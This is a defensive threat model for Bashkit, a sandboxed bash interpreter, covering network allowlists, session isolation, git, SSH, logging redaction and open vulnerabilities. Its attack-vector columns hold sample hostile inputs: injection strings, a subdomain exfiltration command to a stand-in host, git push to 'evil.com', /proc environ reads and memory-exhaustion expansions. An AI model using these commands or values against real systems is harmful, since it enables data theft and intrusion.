| TM-NET-014 | DNS rebind via redirect | Redirect to rebinded IP | Manual redirect requires allowlist check | MITIGATED |
| TM-NET-015 | Host proxy leakage | HTTP_PROXY/HTTPS_PROXY env vars route sandboxed traffic through host proxy |
.no_proxy() on reqwest builder |
MITIGATED |
| TM-NET-018 | JSON body injection | http POST url name='x","admin":true' via unescaped string formatting |
Use serde_json for JSON construction |
MITIGATED |
| TM-NET-019 | Query param injection | http GET url q=='foo&admin=true' injects extra params |
URL-encode via url::form_urlencoded |
MITIGATED |
| TM-NET-020 | Form body injection | http --form POST url user='x&role=admin' injects extra fields |
URL-encode via url::form_urlencoded |
MITIGATED |
| TM-NET-021 | Bot identity spoofing | Forge requests as a trusted bot | Ed25519 request signing (bot-auth feature, specs/request-signing.md) |
MITIGATED (opt-in) |
Current Risk: LOW - Multiple mitigations in place
Bot-auth signing (feature bot-auth): When configured, all outbound HTTP requests from curl/wget/http builtins are transparently signed with Ed25519 per RFC 9421. Signing is non-blocking — failures send requests unsigned. See specs/request-signing.md.
Implementation: network/client.rs
// Security defaults (TM-NET-008, TM-NET-009, TM-NET-010)
const DEFAULT_MAX_RESPONSE_BYTES: usize = 10 * 1024 * 1024; // 10MB
const DEFAULT_TIMEOUT_SECS: u64 = 30;
const MAX_TIMEOUT_SECS: u64 = 600; // 10 min - prevents resource exhaustion
const MIN_TIMEOUT_SECS: u64 = 1; // Prevents instant timeouts
const CONNECT_TIMEOUT: Duration = Duration::from_secs(10);
// Redirects disabled by default (TM-NET-011, TM-NET-014)
.redirect(reqwest::redirect::Policy::none())
// Decompression disabled to prevent zip bombs (TM-NET-013)
.no_gzip()
.no_brotli()
.no_deflate()
// Ignore host proxy env vars (TM-NET-015)
.no_proxy()
// Response size checked during streaming (TM-NET-008, TM-NET-012)
async fn read_body_with_limit(&self, response: Response) -> Result<Vec<u8>> {
// Streams response, checks size at each chunk
}| Mitigation | Implementation | Purpose |
|---|---|---|
| URL allowlist | Pre-request validation | Prevent unauthorized destinations |
| Response size limit | Streaming with byte counting | Prevent memory exhaustion |
| Connection timeout | 10s default (user-configurable via --connect-timeout) |
Prevent connection hang |
| Read timeout | 30s default (user-configurable via -m/-T) |
Prevent slow-response DoS |
| Timeout clamping | All timeouts clamped to [1s, 10min] | Prevent resource exhaustion |
| No auto-redirect | Policy::none() | Prevent redirect-based bypass |
| No auto-decompress | no_gzip/no_brotli/no_deflate | Prevent zip bomb attacks |
| Content-Length check | Pre-download validation | Fail fast on huge files |
| User-Agent fixed | "bashkit/0.1.0" | Identify requests, prevent spoofing |
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-CRY-001 | Bot-auth private key recovery from process memory | Core dump, heap inspection, /proc/<pid>/mem after key use |
BotAuthConfig zeroizes Ed25519 seed in Drop; debug output redacts key material |
MITIGATED |
Current Risk: LOW - Key material remains process-resident while configured, but is now explicitly zeroized on drop.
Request Flow:
Script: curl https://api.example.com/data
│
▼
┌─────────────────────────────────────────┐
│ 1. URL Allowlist Check (BEFORE network) │
│ - Scheme match (https) │
│ - Host match (literal) │
│ - Port match (443 default) │
│ - Path prefix match │
└─────────────────────────────────────────┘
│ Allowed?
│ No → Return "access denied" (exit 7)
│ Yes ↓
┌─────────────────────────────────────────┐
│ 2. Connect with Timeout (10s) │
│ - TCP connection │
│ - TLS handshake │
└─────────────────────────────────────────┘
│ Success?
│ No → Return "request failed" (exit 1)
│ Yes ↓
┌─────────────────────────────────────────┐
│ 3. Content-Length Check │
│ - If header present, check < 10MB │
│ - If > 10MB, abort early │
└─────────────────────────────────────────┘
│ Size OK?
│ No → Return "response too large" (exit 63)
│ Yes ↓
┌─────────────────────────────────────────┐
│ 4. Stream Response with Size Limit │
│ - Read chunks │
│ - Accumulate bytes │
│ - Abort if total > 10MB │
└─────────────────────────────────────────┘
│ Complete?
│ No → Return "response too large" (exit 63)
│ Yes ↓
┌─────────────────────────────────────────┐
│ 5. Handle Redirect (if -L flag) │
│ - Extract Location header │
│ - Check EACH redirect URL against │
│ allowlist (go to step 1) │
│ - Max 10 redirects │
└─────────────────────────────────────────┘
│
▼
Return response to script
Exit Codes:
- 0: Success
- 1: General error
- 3: URL malformed
- 7: Access denied (allowlist)
- 22: HTTP error (with -f flag)
- 28: Timeout
- 47: Max redirects exceeded
- 63: Response too large
Bashkit's network allowlist uses literal host matching — the virtual equivalent of SNI (Server Name Indication) filtering on TLS client-hello headers. This is the same approach used by production sandbox environments (e.g., Vercel Sandbox) for egress control.
Why not DNS-based filtering? Scripts can hardcode IP addresses, bypassing any DNS-level controls entirely.
Why not IP-based filtering? A single IP address can host many domains (shared hosting, CDNs, cloud load balancers). Blocking/allowing by IP is too coarse-grained.
Why not an HTTP proxy?
Proxies only work for HTTP traffic and require applications to be configured to use them
(or respect HTTP_PROXY env vars). They don't cover other TLS-based protocols like
database connections.
Why literal host / SNI matching?
SNI filtering inspects the server_name extension in the TLS client-hello, which the
client must send in cleartext before encryption begins. This works for all TLS traffic
regardless of protocol. Since bashkit controls the HTTP layer and provides no raw socket
access, literal host matching in the allowlist achieves equivalent coverage — every
outbound connection goes through the HttpClient, which checks the hostname against the
allowlist before any network I/O occurs.
Domain allowlist vs URL patterns:
The allow_domain() API provides a simpler interface when callers only need domain-level
control:
| Capability | allow_domain() |
allow() (URL pattern) |
|---|---|---|
| Scheme enforcement | No (any scheme) | Yes (exact match) |
| Port enforcement | No (any port) | Yes (exact match) |
| Path restriction | No (any path) | Yes (prefix match) |
| Simplicity | High | Medium |
Callers requiring scheme or port enforcement should use URL patterns (allow()) instead
of domain rules. Both rule types can be combined on the same allowlist; a URL is permitted
if it matches either a domain rule or a URL pattern.
Wildcard subdomains:
Wildcard patterns (e.g., *.example.com) are deliberately not supported. They enable
data exfiltration by encoding secrets in subdomains: curl https://$SECRET.example.com.
Only exact domain matches are allowed (TM-NET-017).
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-ISO-001 | Shared filesystem | Access other session's files | Separate Bash instances with separate FS | MITIGATED |
| TM-ISO-002 | Shared memory | Read other session's data | Rust memory safety, per-instance state | MITIGATED |
| TM-ISO-003 | Resource starvation | One session exhausts limits | Per-instance limits | MITIGATED |
| TM-ISO-004 | Cross-session env pollution via jq | std::env::set_var() in jq |
Custom jaq global variable ($__bashkit_env__) |
MITIGATED |
| TM-ISO-007 | Alias leakage | Aliases defined in session A visible in session B | Per-instance alias HashMap | MITIGATED |
| TM-ISO-008 | Trap handler leakage | Trap from session A fires in session B | Per-instance trap HashMap | MITIGATED |
| TM-ISO-009 | Shell option leakage | set -e in session A affects session B |
Per-instance SHOPT_* variables | MITIGATED |
| TM-ISO-010 | Exported env var leakage | export in session A visible in session B |
Per-instance env HashMap | MITIGATED |
| TM-ISO-011 | Array leakage | Indexed/associative arrays cross sessions | Per-instance array HashMaps | MITIGATED |
| TM-ISO-012 | Working directory leakage | cd in session A changes session B's cwd |
Per-instance cwd: PathBuf |
MITIGATED |
| TM-ISO-013 | Exit code leakage | $? from session A visible in session B |
Per-instance last_exit_code |
MITIGATED |
| TM-ISO-014 | Concurrent variable leakage | Race condition leaks vars between parallel sessions | Per-instance state, no shared mutables | MITIGATED |
| TM-ISO-015 | Concurrent FS leakage | Race condition leaks files between parallel sessions | Separate Arc<FileSystem> per instance |
MITIGATED |
| TM-ISO-016 | Snapshot/restore side effects | restore_shell_state() affects other sessions |
Snapshot is per-instance, no shared state | MITIGATED |
| TM-ISO-017 | Adversarial variable probing | Script enumerates common secret var names | Default-empty env, no host env inheritance | MITIGATED |
| TM-ISO-018 | /proc /sys probing | Script reads /proc/self/environ etc. |
VFS has no real /proc or /etc | MITIGATED |
| TM-ISO-019 | jq cross-session env | jq 'env.X' sees other session's vars |
jaq reads from injected global, not std::env |
MITIGATED |
| TM-ISO-020 | Subshell mutation leakage | Subshell vars leak to parent or sibling sessions | Snapshot/restore in subshell + per-instance state | MITIGATED |
| TM-ISO-004 | Cross-session env pollution via jq | std::env::set_var() in jq modifies process-wide env, visible to concurrent sessions | Custom $__bashkit_env__ jaq context variable replaces std::env access | FIXED |
| TM-ISO-005 | Session-level cumulative counter bypass | Repeated exec() calls each reset ExecutionCounters, giving unbounded aggregate resources | — | OPEN |
| TM-ISO-006 | No per-instance variable/memory budget | Unbounded HashMap growth in variables, arrays, functions exhausts process memory | — | OPEN |
| TM-ISO-021 | EXIT trap leaks across exec() calls | EXIT trap set in one exec() fires in subsequent exec() calls on same Bash instance | — | OPEN |
| TM-ISO-022 | $? leaks across exec() calls | Exit code from one exec() visible as $? in next exec() instead of resetting to 0 | — | OPEN |
| TM-ISO-023 | set -e leaks across exec() calls | set options (-e, -x, etc.) persist across exec() calls, causing unexpected abort behavior | reset_transient_state() clears SET_OPTION_VARS | FIXED |
TM-ISO-004: Fixed. The jq builtin now injects shell variables via a custom jaq context variable
($__bashkit_env__) and overrides the env filter to read from it instead of std::env.
See builtins/jq.rs:321-339.
TM-ISO-005: ExecutionCounters::reset_for_execution() zeros all counters at each exec() entry.
A tenant splitting work across many exec() calls gets unlimited aggregate commands, loop iterations,
and CPU time. Fix: add session-level cumulative counters that persist across exec() calls within a
Bash instance. See issue #655.
TM-ISO-006: Interpreter stores state in unbounded HashMap collections (variables, arrays,
assoc_arrays, functions). A script can create millions of entries, consuming arbitrary heap memory
and OOM-ing the process. Fix: add MemoryLimits with caps on variable count, total bytes, array
entries, and function count/size. See issue #656.
Note: PROC_SUB_COUNTER (AtomicU64) is a global monotonic counter for process substitution
paths (/dev/fd/proc_sub_N). This is a minor timing side-channel (reveals approximate execution
ordering across concurrent sessions) but does not leak data since paths are resolved within each
session's isolated VFS.
Current Risk: MEDIUM - cumulative resource bypass (TM-ISO-005) and memory exhaustion (TM-ISO-006)
Implementation: Each session gets separate instance with isolated state:
// Each session gets isolated instance (TM-ISO-001 through TM-ISO-020)
let session_a = Bash::builder()
.fs(Arc::new(InMemoryFs::new()))
.limits(session_limits)
.build();
let session_b = Bash::builder()
.fs(Arc::new(InMemoryFs::new())) // Separate FS
.limits(session_limits)
.build();| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INT-001 | Builtin panic crash | Invalid input triggers panic in builtin | catch_unwind wrapper on all builtins |
MITIGATED |
| TM-INT-002 | Panic info leak | Panic message reveals sensitive data | Sanitized error messages (no panic details) | MITIGATED |
| TM-INT-003 | Date format panic | Invalid strftime format causes chrono panic | Pre-validation with StrftimeItems |
MITIGATED |
| TM-INT-007 | /dev/urandom empty with head -c |
head -c 16 /dev/urandom returns empty output; pipe from virtual device to builtin loses data |
— | OPEN |
Current Risk: LOW - All builtin panics are caught and converted to sanitized errors
Implementation: interpreter/mod.rs - Panic catching for all builtins:
// THREAT[TM-INT-001]: Builtins may panic on unexpected input
let result = AssertUnwindSafe(builtin.execute(ctx)).catch_unwind().await;
match result {
Ok(Ok(exec_result)) => exec_result,
Ok(Err(e)) => return Err(e),
Err(_panic) => {
// THREAT[TM-INT-002]: Panic message may contain sensitive info
// Return sanitized error - never expose panic details
ExecResult::err(format!("bash: {}: builtin failed unexpectedly\n", name), 1)
}
}Date Format Validation (TM-INT-003): builtins/date.rs
// THREAT[TM-INT-003]: chrono::format() can panic on invalid format specifiers
fn validate_format(format: &str) -> Result<(), String> {
for item in StrftimeItems::new(format) {
if let Item::Error = item {
return Err(format!("invalid format string: '{}'", format));
}
}
Ok(())
}| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INT-004 | Path leak in errors | Error shows real filesystem paths | Virtual paths only in messages | MITIGATED |
| TM-INT-005 | Memory addr in errors | Debug output shows addresses | Display impl hides addresses | MITIGATED |
| TM-INT-006 | Stack trace exposure | Panic unwinds show call stack | catch_unwind prevents propagation |
MITIGATED |
Error Type Design: error.rs
- All error messages are designed for end-user display
Internalerror variant for unexpected failures (never includes panic details)- Error types implement Display without exposing internals
Bashkit provides optional virtual git operations via the git feature. This section documents
security threats related to git operations and their mitigations.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-GIT-001 | Unauthorized clone | git clone https://evil.com/repo |
Remote URL allowlist (Phase 2) | PLANNED |
| TM-GIT-002 | Host identity leak | Commit reveals real name/email | Configurable virtual identity | MITIGATED |
| TM-GIT-003 | Host git config access | Read ~/.gitconfig | No host filesystem access | MITIGATED |
| TM-GIT-004 | Credential theft | Access git credential store | No host filesystem access | MITIGATED |
| TM-GIT-005 | Repository escape | git clone outside VFS |
All paths in VFS | MITIGATED |
Current Risk: LOW - All git operations confined to virtual filesystem
Implementation: git/client.rs
// THREAT[TM-GIT-002]: Host identity leak
// Author identity is configurable, never reads from host ~/.gitconfig
let config = format!(
"[user]\n\tname = {}\n\temail = {}\n",
self.config.author_name, self.config.author_email
);| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-GIT-006 | Large repo clone | Clone huge repository | FS size limits + response limit (Phase 2) | PLANNED |
| TM-GIT-007 | Many git objects | Create millions of git objects | max_file_count FS limit |
MITIGATED |
| TM-GIT-008 | Deep history | Very long commit history | Log limit parameter | MITIGATED |
| TM-GIT-009 | Large pack files | Huge .git/objects/pack | max_file_size FS limit |
MITIGATED |
Current Risk: LOW - Filesystem limits apply to all git operations
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-GIT-010 | Push to unauthorized remote | git push evil.com |
Remote URL allowlist | PLANNED |
| TM-GIT-011 | Fetch from unauthorized remote | git fetch evil.com |
Remote URL allowlist | PLANNED |
| TM-GIT-012 | SSH key access | Use host SSH keys | HTTPS only (no SSH) | PLANNED |
| TM-GIT-013 | Git protocol bypass | Use git:// protocol | HTTPS only | PLANNED |
| TM-GIT-014 | Branch name path injection | branch_create(name="../../config") overwrites .git/config via Path::join() | — | OPEN |
TM-GIT-014: Branch names are used directly in Path::join() (git/client.rs:1035, 1080, 1119)
without validation. A name like ../../config can overwrite .git/config within the VFS. While
confined to VFS, this can corrupt the virtual git repository. Fix: validate branch names against
git's ref name rules (no .., no control chars, no trailing .lock).
Current Risk: LOW for remote ops (not yet implemented); MEDIUM for local git name injection
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-SSH-001 | Unauthorized host access | Connect to arbitrary hosts | Host allowlist (default-deny) | MITIGATED |
| TM-SSH-002 | Credential leakage | Read host ~/.ssh/ keys |
Keys from VFS only | MITIGATED |
| TM-SSH-003 | Session exhaustion | Open many concurrent sessions | Max concurrent sessions limit | MITIGATED |
| TM-SSH-004 | OOM via large response | Server sends huge output | Streaming size limit | MITIGATED |
| TM-SSH-005 | Connection hang | Server never responds | Configurable timeout | MITIGATED |
| TM-SSH-006 | MITM via unverified host key | Attacker intercepts SSH connection | Strict host key checking (default: on) | MITIGATED |
| TM-SSH-007 | Non-standard port access | Connect to services on unexpected ports | Port allowlist | MITIGATED |
| TM-SSH-008 | Remote command injection | Inject via remote path in SCP | Shell-escape remote paths | MITIGATED |
TM-SSH-006: The RusshHandler verifies server host keys against trusted keys configured via
SshConfig::trusted_host_key(). When strict_host_key_checking is enabled (default), connections
to hosts without a matching trusted key are rejected. When disabled, a warning is emitted to stderr.
Bashkit provides optional structured logging via the logging feature. This section documents
security threats related to logging and their mitigations.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-LOG-001 | Secrets in logs | Log env vars containing passwords/tokens | LogConfig redaction | MITIGATED |
| TM-LOG-002 | Script content leak | Log full scripts containing embedded secrets | Script content disabled by default | MITIGATED |
| TM-LOG-003 | URL credential leak | Log URLs with user:pass@host |
URL credential redaction | MITIGATED |
| TM-LOG-004 | API key detection | Log values that look like API keys/JWTs | Entropy-based detection | MITIGATED |
Current Risk: LOW - Sensitive data is redacted by default
Implementation: logging.rs provides LogConfig with redaction:
// Default configuration redacts sensitive data (TM-LOG-001 to TM-LOG-004)
let config = LogConfig::new();
// Redacts env vars matching: PASSWORD, SECRET, TOKEN, KEY, etc.
assert!(config.should_redact_env("DATABASE_PASSWORD"));
// Redacts URL credentials
assert_eq!(
config.redact_url("https://user:pass@host.com"),
"https://[REDACTED]@host.com"
);
// Detects API keys and JWTs
assert_eq!(config.redact_value("sk-1234567890abcdef"), "[REDACTED]");Caller Warning: Using LogConfig::unsafe_disable_redaction() or
LogConfig::unsafe_log_scripts() may expose sensitive data in logs.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-LOG-005 | Newline injection | Script contains \n[ERROR] fake |
Newline escaping | MITIGATED |
| TM-LOG-006 | Control char injection | ANSI escape sequences in logs | Control char filtering | MITIGATED |
Current Risk: LOW - Log content is sanitized
Implementation: logging::sanitize_for_log() escapes dangerous characters:
// TM-LOG-005: Newlines escaped to prevent fake log entries
let input = "normal\n[ERROR] injected";
let sanitized = sanitize_for_log(input);
// Result: "normal\\n[ERROR] injected"| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-LOG-007 | Log flooding | Script generates excessive output → many logs | Value truncation | MITIGATED |
| TM-LOG-008 | Large value DoS | Log very long strings | max_value_length limit (200) |
MITIGATED |
Current Risk: LOW - Log values are truncated
Implementation: LogConfig limits value lengths:
// TM-LOG-008: Values truncated to prevent memory exhaustion
let config = LogConfig::new().max_value_length(200);
let long_value = "a".repeat(1000);
let truncated = config.truncate(&long_value);
// Result: "aaa...[truncated 800 bytes]"Secure Defaults (TM-LOG-001 to TM-LOG-008):
let config = LogConfig::new();
// - redact_sensitive: true (default)
// - log_script_content: false (default)
// - log_file_contents: false (default)
// - max_value_length: 200 (default)Custom Redaction Patterns:
// Add custom env var patterns to redact
let config = LogConfig::new()
.redact_env("MY_CUSTOM_SECRET")
.redact_env("INTERNAL_TOKEN");| ID | Threat | Attack | Mitigation | Status |
|---|---|---|---|---|
| TM-SNAP-001 | Snapshot forgery via public tag | Attacker computes valid SHA-256 digest using public BKSNAP01 tag |
Document limitation; add keyed HMAC API (to_bytes_keyed/from_bytes_keyed) |
MITIGATED |
from_bytes uses SHA-256(BKSNAP01 || payload) where the tag is a public constant.
This detects accidental corruption but does NOT prevent intentional forgery. Any caller
with source code access can forge valid snapshots.
from_bytes_keyed uses HMAC-SHA256(secret_key, payload) with a caller-provided key.
Use this when snapshots cross trust boundaries (network transfer, shared storage, untrusted
input). The keyed API was added in response to issue #1167.
This section documents the security assessment of builtins that do not have individual TM entries because their risk is fully covered by existing controls or is inherently low.
These builtins operate on in-memory data with no resource access beyond what the
interpreter already controls. Their risk is bounded by existing limits (input size,
command count, timeout, catch_unwind).
| Builtin | Function | Why Low Risk |
|---|---|---|
base64 |
Encode/decode base64 | Pure byte transformation; output bounded by input size |
md5sum, sha1sum, sha256sum |
Compute checksums | Hash computation on VFS file data; O(n) CPU, bounded by max_file_size |
verify |
Compute/verify file hashes | Same as checksum builtins; reads VFS files only |
iconv |
Encoding conversion | Pure byte transformation between UTF-8/ASCII/Latin1/UTF-16 |
hextools (od, xxd, hexdump) |
Byte-level inspection | Format VFS file bytes as hex/octal; output bounded by input size |
semver |
Version string parsing | Pure string comparison; no recursion or resource access |
strings |
Extract printable strings | Linear scan of byte data; output bounded by input |
fc |
History listing | Lists virtual session history; no re-execution in VFS environment |
log |
Structured logging output | Formats message to stdout; reads LOG_LEVEL/LOG_FORMAT from env (caller-controlled) |
parallel |
GNU parallel stub (dry-run only) | Reports planned commands; does not actually execute them in VFS |
retry |
Retry stub (dry-run only) | Reports planned retry config; does not actually re-execute in VFS |
inspect (less, file, stat) |
File inspection | Reads VFS files; bounded by max_file_size; less acts as cat |
These builtins read/write VFS files. Their resource consumption is bounded by existing
filesystem limits (max_file_size, max_file_count, max_total_bytes).
| Builtin | Function | Covering Controls |
|---|---|---|
patch |
Apply unified diffs to VFS files | VFS path normalization (TM-ESC-001), FS limits (TM-DOS-005/006) |
zip |
Create BKZIP archives in VFS | FS limits (TM-DOS-005); archive size bounded by max_file_size |
split |
Split file into pieces | FS limits (TM-DOS-006 max_file_count); see TM-DOS-055 |
csv |
Parse/query CSV data | Input bounded by max_file_size; linear parsing |
tomlq |
Query TOML data | Input bounded by max_file_size; TOML structure typically shallow |
dotenv |
Load .env files | VFS read; variable injection risk covered by TM-INJ-018 |
| Builtin | Function | Covering Controls |
|---|---|---|
rg |
Recursive grep (ripgrep-like) | Uses regex crate with internal backtrack limits (TM-DOS-025); VFS-only search |
glob |
Glob pattern matching | Uses glob_match — inherits ExtGlob blowup risk (TM-DOS-031, TM-DOS-054) |
| Builtin | Threat IDs | Summary |
|---|---|---|
yaml |
TM-DOS-051 | Unbounded recursion in custom YAML parser |
template |
TM-DOS-052, TM-DOS-053, TM-INF-020 | Recursive rendering; env var exposure |
json |
(covered by serde_json) | Uses serde_json with 128-level recursion limit; no custom parser recursion risk |
unzip |
TM-INJ-017 | Path traversal in archive entry names |
dotenv |
TM-INJ-018 | Internal variable prefix injection |
envsubst |
TM-INF-019 | Env var exposure via substitution (caller risk) |
timeout |
(covered by existing limits) | Caps timeout at 300s (MAX_TIMEOUT_SECONDS); within execution timeout (TM-DOS-023) |
This section maps former vulnerability IDs to the new threat ID scheme and tracks status.
| Old ID | Threat ID | Vulnerability | Status |
|---|---|---|---|
| V1 | TM-DOS-001 | Large script input | MITIGATED via max_input_bytes |
| V2 | TM-DOS-002 | Output flooding | MITIGATED via command limits |
| V3 | TM-DOS-024 | Parser hang | MITIGATED via parser_timeout + max_parser_operations |
| V4 | TM-DOS-022 | Parser recursion | MITIGATED via max_ast_depth |
| V5 | TM-DOS-018 | Nested loop multiplication | MITIGATED via max_total_loop_iterations (1M) |
| V6 | TM-DOS-021 | Command sub parser limit bypass | MITIGATED via inherited depth/fuel |
| V7 | TM-DOS-026 | Arithmetic recursion overflow | MITIGATED via MAX_ARITHMETIC_DEPTH (50) |
| Threat ID | Vulnerability | Impact | Recommendation |
|---|---|---|---|
| TM-DOS-029 | Arithmetic overflow/panic | Interpreter crash/hang | Use wrapping arithmetic, clamp shift/exponent |
| TM-ESC-012 | VFS limit bypass via add_file()/restore() | Unlimited VFS writes | Add limit checks or restrict visibility |
| TM-INJ-009 | Internal variable namespace injection | Bypass readonly, manipulate interpreter | Separate internal state HashMap |
| TM-INJ-012–015 | Builtin bypass of is_internal_variable() | Unauthorized nameref/case attr injection via declare/readonly/local/export | Add is_internal_variable() check to all builtin insert paths |
| TM-DOS-043 | Arithmetic panic in compound assignment | Process crash (DoS) in debug mode | wrapping_* ops in execute_arithmetic_with_side_effects |
| TM-DOS-044 | Lexer stack overflow on nested $() | Process crash (SIGABRT) | Depth tracking in read_command_subst_into |
| Threat ID | Vulnerability | Impact | Recommendation |
|---|---|---|---|
| TM-DOS-031 | ExtGlob exponential blowup | CPU exhaustion / stack overflow | Add fuel counter to glob_match_impl |
| TM-DOS-041 | Brace expansion unbounded range | OOM DoS | Cap range size in try_expand_range() |
| TM-DOS-032 | Tokio runtime per sync call (Python) | OS thread/fd exhaustion | Shared runtime |
| TM-PY-023 | Shell injection in deepagents.py | Command injection within VFS | Use shlex.quote() or direct API |
| TM-PY-024 | Heredoc content injection in write() | Command injection within VFS | Random delimiter or direct API |
| TM-PY-025 | GIL deadlock in execute_sync | Python process deadlock | py.allow_threads() |
| TM-ISO-004 | |||
| TM-ESC-013 | OverlayFs upper() exposes unlimited FS | VFS limit bypass | Restrict upper() visibility |
| Threat ID | Vulnerability | Impact | Recommendation |
|---|---|---|---|
| TM-DOS-051 | YAML parser unbounded recursion | Stack overflow on deeply nested YAML | Add depth parameter to parse_yaml_block/map/list |
| TM-DOS-052 | Template engine unbounded recursion | Stack overflow on deeply nested templates | Add depth parameter to render_template |
| TM-DOS-054 | glob --files ExtGlob blowup |
CPU exhaustion (same as TM-DOS-031) | Fix TM-DOS-031 covers this |
| TM-INJ-017 | Unzip path traversal within VFS | Arbitrary VFS file overwrite | Validate paths stay within extract_base |
| TM-INJ-018 | Dotenv internal variable injection | Bypass readonly, manipulate interpreter | Add is_internal_variable() check |
| TM-INF-001 | Env vars may leak secrets | Information disclosure | Document caller responsibility |
| TM-INJ-008 | Terminal escapes in output | UI manipulation | Document sanitization need |
| TM-INJ-010 | Tar path traversal within VFS | Arbitrary VFS file overwrite | Validate paths stay within extract_base |
| TM-GIT-014 | Git branch name path injection | VFS git repo corruption | Validate branch names |
| TM-INF-014 | Real PID leak via $$ | Host information disclosure | Return virtual PID |
| TM-INF-015 | URL credentials in error messages | Credential leak | Apply URL redaction |
| TM-INF-016 | Internal state in error messages | Info leak (paths, IPs, TLS) | Consistent Display format |
| TM-DOS-034 | |||
| TM-ISO-005 | Session-level cumulative counter bypass | Unbounded aggregate resources across exec() calls | Session-level counters |
| TM-ISO-006 | No per-instance variable/memory budget | Process OOM via unbounded HashMap growth | MemoryLimits struct |
| TM-DOS-035 | OverlayFs limit check upper-only | Combined size limit bypass | Use compute_usage() |
| TM-DOS-036 | OverlayFs usage double-count | Premature limit rejections | Subtract overrides |
| TM-DOS-037 | OverlayFs chmod CoW bypass | Limit bypass via chmod | Route through check_write_limits |
| TM-DOS-038 | OverlayFs incomplete whiteout | Deleted files remain visible | Check ancestor whiteouts |
| TM-DOS-039 | Missing validate_path in VFS | Path validation gaps | Add to all methods |
| TM-ESC-014 | |||
| TM-PY-026 | reset() discards security config | DoS protections removed | Preserve config on reset |
| TM-INJ-011 | Cyclic nameref silent resolution | Read/write unintended variables | Detect cycles, error |
| TM-PY-027 | py_to_json unbounded recursion | Stack overflow | Add depth counter |
| TM-DOS-040 | Integer truncation on 32-bit | Size check bypass | Use try_from() |
| TM-UNI-001 | Awk parser byte-boundary panic on Unicode | Silent builtin failure on valid input | Fix awk parser to use char-boundary-safe indexing |
| TM-UNI-002 | Sed parser byte-boundary issues | Silent builtin failure on valid input | Audit and fix sed byte-indexing |
| TM-UNI-003 | Zero-width chars in filenames | Invisible/confusable filenames | Extend find_unsafe_path_char() |
| TM-UNI-011 | Tag characters in filenames | Invisible content in filenames | Extend find_unsafe_path_char() |
| TM-UNI-015 | Expr substr byte-boundary panic |
Silent failure on multi-byte substr | Fix to use char-boundary-safe indexing (issue #434) |
| TM-UNI-016 | Printf precision mid-char panic | Silent failure on multi-byte precision truncation | Use is_char_boundary() before slicing (issue #435) |
| TM-UNI-017 | Cut/tr byte-level char set parsing | Multi-byte chars silently dropped in tr specs | Switch from as_bytes() to char iteration (issue #436) |
| TM-UNI-018 | Interpreter arithmetic byte/char confusion | Wrong operator detection on multi-byte expressions | Use char_indices() instead of .find() + .chars().nth() (issue #437) |
| TM-UNI-019 | Network allowlist byte/char confusion | Wrong path boundary check on multi-byte URLs | Use byte offset consistently in URL matching (issue #438) |
| Threat ID | Vulnerability | Impact | Recommendation |
|---|---|---|---|
| TM-INJ-012 | declare bypasses is_internal_variable() |
Unauthorized nameref creation, case conversion injection | Route declare assignments through set_variable() or add is_internal_variable() check at interpreter/mod.rs:5574 |
| TM-INJ-013 | readonly bypasses is_internal_variable() |
Unauthorized nameref creation via readonly _NAMEREF_x=target |
Add is_internal_variable() check at builtins/vars.rs:265 |
| TM-INJ-014 | local bypasses is_internal_variable() |
Internal prefix injection in function scope | Add is_internal_variable() check at builtins/vars.rs:223 |
| TM-INJ-015 | export bypasses is_internal_variable() |
Internal prefix injection via export | Add is_internal_variable() check at builtins/export.rs:41 |
| TM-INJ-016 | _ARRAY_READ_ prefix not in is_internal_variable() |
Arbitrary array creation/overwrite via marker injection | Add _ARRAY_READ_ prefix to is_internal_variable() at interpreter/mod.rs:7634 |
| TM-INF-017 | set and declare -p leak internal markers |
Internal state disclosure (NAMEREF, READONLY, UPPER, LOWER) | Filter is_internal_variable() names from output |
| TM-INF-018 | date builtin returns real host time |
Timezone fingerprinting, timing correlation | Configurable time source (fixed or offset) |
| TM-DOS-041 | Brace expansion {N..M} unbounded range |
OOM via {1..999999999} allocating billions of strings |
Cap range size (e.g., 10,000 elements) in try_expand_range() at interpreter/mod.rs:8049 |
| TM-DOS-042 | Brace expansion combinatorial explosion | OOM via {1..100}{1..100}{1..100} = 1M strings |
Cap total expansion count in expand_braces() at interpreter/mod.rs:7967 |
| TM-DOS-043 | Arithmetic overflow in execute_arithmetic_with_side_effects |
Panic (DoS) in debug mode via ((x+=1)) with x=i64::MAX |
Use wrapping_add/sub/mul at interpreter/mod.rs:1563-1565 |
| TM-DOS-044 | Lexer read_command_subst_into stack overflow |
Process crash (SIGABRT) via ~50 nested $() in double-quotes |
Add depth parameter to read_command_subst_into() at parser/lexer.rs:1109 |
| TM-DOS-045 | OverlayFs symlink() bypasses all limits |
Unlimited symlink creation despite max_file_count |
Add check_write_limits() + validate_path() to fs/overlay.rs:683 |
| TM-DOS-046 | MountableFs has zero validate_path() calls |
Path validation completely bypassed for mounted filesystems | Add validate_path() to all FileSystem methods in fs/mountable.rs:348-491 |
| TM-DOS-047 | InMemoryFs copy() skips limit check when dest exists |
Total VFS bytes can exceed max_total_bytes |
Always call check_write_limits() in fs/memory.rs:1176, accounting for size delta |
| TM-DOS-048 | InMemoryFs rename() overwrites dirs, orphans children |
VFS corruption — orphaned entries consume memory but are unreachable | Check dest type in rename(), reject file-over-directory per POSIX |
| TM-DOS-049 | collect_dirs_recursive has no depth limit |
Deep recursion on VFS trees (mitigated by max_path_depth) |
Add explicit depth parameter at interpreter/mod.rs:8352 |
| TM-DOS-050 | parse_word_string uses default parser limits |
Caller-configured tighter limits ignored for parameter expansion | Propagate limits through parse_word_string() at parser/mod.rs:109 |
| TM-PY-028 | BashTool.reset() in Python drops security config | Resource limits silently removed after reset | Preserve limits like PyBash.reset() does (see bashkit-python/src/lib.rs:470) |
